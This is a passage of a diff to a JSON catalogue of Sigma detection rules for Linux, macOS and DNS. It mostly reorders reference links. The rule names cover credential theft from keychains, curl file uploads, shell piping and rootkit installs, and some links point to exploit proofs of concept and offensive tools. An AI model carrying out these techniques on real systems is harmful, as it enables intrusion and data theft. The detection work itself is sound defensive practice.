"https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml", + "https://github.com/sleventyeleven/linuxprivchecker/" ], "tags": [ "attack.reconnaissance", @@ -7642,8 +7640,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml", + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html" ], "tags": [ "attack.defense_evasion", @@ -7714,8 +7712,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.packetlabs.net/posts/clipboard-data-security/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml", + "https://www.packetlabs.net/posts/clipboard-data-security/" ], "tags": [ "attack.collection", @@ -7761,8 +7759,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml", + "https://www.poolwatch.io/coin/monero" ], "tags": "No established tags" }, @@ -7783,8 +7781,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml", + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html" ], "tags": [ "attack.command_and_control", @@ -7807,8 +7805,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/" ], "tags": [ "attack.initial_access", @@ -7835,9 +7833,9 @@ "logsource.product": "linux", "refs": [ "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", "https://github.com/apache/spark/pull/36315/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html" ], "tags": [ "attack.initial_access", @@ -7861,8 +7859,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd" ], "tags": [ "attack.impact", @@ -7885,9 +7883,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://research.splunk.com/endpoint/linux_doas_tool_execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml", "https://www.makeuseof.com/how-to-install-and-use-doas/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" + "https://research.splunk.com/endpoint/linux_doas_tool_execution/" ], "tags": [ "attack.privilege_escalation", @@ -7934,8 +7932,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md" ], "tags": [ "attack.defense_evasion", @@ -7958,8 +7956,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md" ], "tags": [ "attack.defense_evasion", @@ -7982,8 +7980,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md" ], "tags": [ "attack.discovery", @@ -8006,8 +8004,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md" ], "tags": [ "attack.discovery", @@ -8030,8 +8028,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md" ], "tags": [ "attack.discovery", @@ -8054,9 +8052,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://gtfobins.github.io/gtfobins/nohup/", "https://en.wikipedia.org/wiki/Nohup", "https://www.computerhope.com/unix/unohup.htm", + "https://gtfobins.github.io/gtfobins/nohup/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" ], "tags": "No established tags" @@ -8077,9 +8075,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" ], "tags": [ "attack.privilege_escalation", @@ -8106,9 +8104,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" ], "tags": [ "attack.privilege_escalation", @@ -8159,8 +8157,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1090/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml", + "https://attack.mitre.org/techniques/T1090/" ], "tags": [ "attack.defense_evasion", @@ -8257,8 +8255,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md" ], "tags": [ "attack.discovery", @@ -8305,8 +8303,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml", + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html" ], "tags": [ "attack.defense_evasion" @@ -8328,9 +8326,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml", "https://attack.mitre.org/techniques/T1548/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md" ], "tags": [ "attack.persistence" @@ -8352,8 +8350,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.openwall.com/lists/oss-security/2019/10/14/1", "https://access.redhat.com/security/cve/cve-2019-14287", + "https://www.openwall.com/lists/oss-security/2019/10/14/1", "https://twitter.com/matthieugarin/status/1183970598210412546", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" ], @@ -8405,12 +8403,12 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml", "https://curl.se/docs/manpage.html", - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html" ], "tags": [ "attack.exfiltration", @@ -8484,9 +8482,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml", "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md" ], "tags": [ "attack.reconnaissance", @@ -8509,8 +8507,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml", + "Internal Research" ], "tags": "No established tags" }, @@ -8530,8 +8528,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.tecmint.com/different-types-of-linux-shells/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml", + "https://www.tecmint.com/different-types-of-linux-shells/" ], "tags": [ "attack.execution", @@ -8554,8 +8552,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml", + "Internal Research" ], "tags": [ "attack.defense_evasion", @@ -8578,8 +8576,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml", + "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py" ], "tags": [ "attack.reconnaissance", @@ -8604,8 +8602,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md" ], "tags": [ "attack.discovery", @@ -8700,8 +8698,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml", + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh" ], "tags": [ "attack.defense_evasion", @@ -8749,9 +8747,9 @@ "logsource.category": "file_event", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md", "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md" ], "tags": [ "attack.persistence", @@ -8896,8 +8894,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md" ], "tags": [ "attack.defense_evasion", @@ -8969,8 +8967,8 @@ "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", - "https://gist.github.com/Capybara/6228955", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml", + "https://gist.github.com/Capybara/6228955" ], "tags": [ "attack.credential_access", @@ -8993,8 +8991,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -9066,8 +9064,8 @@ "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", - "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml", + "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/" ], "tags": [ "attack.credential_access", @@ -9090,8 +9088,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md" ], "tags": [ "attack.discovery", @@ -9114,8 +9112,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md" ], "tags": [ "attack.discovery", @@ -9138,8 +9136,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md" ], "tags": [ "attack.discovery", @@ -9267,8 +9265,8 @@ "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py" ], "tags": [ "attack.collection", @@ -9291,8 +9289,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md" ], "tags": [ "attack.discovery", @@ -9364,8 +9362,8 @@ "logsource.product": "macos", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", - "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml", + "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/" ], "tags": [ "attack.t1566", @@ -9398,8 +9396,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md" ], "tags": [ "attack.credential_access", @@ -9422,10 +9420,10 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", - "https://www.manpagez.com/man/8/firmwarepasswd/", "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" + "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml", + "https://www.manpagez.com/man/8/firmwarepasswd/" ], "tags": [ "attack.impact" @@ -9519,10 +9517,10 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml", "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97" ], "tags": [ "attack.command_and_control" @@ -9568,9 +9566,9 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml", "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08" ], "tags": [ "attack.command_and_control" @@ -9898,9 +9896,9 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ - "https://zeltser.com/c2-dns-tunneling/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml", "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml" + "https://zeltser.com/c2-dns-tunneling/" ], "tags": [ "attack.command_and_control", @@ -10049,9 +10047,9 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml", "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/" ], "tags": [ "attack.command_and_control", @@ -10074,8 +10072,8 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml", + "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/" ], "tags": [ "attack.impact", @@ -10125,11 +10123,11 @@ "logsource.category": "dns", "logsource.product": "No established product", "refs": [ + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://core.telegram.org/bots/faq", "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - 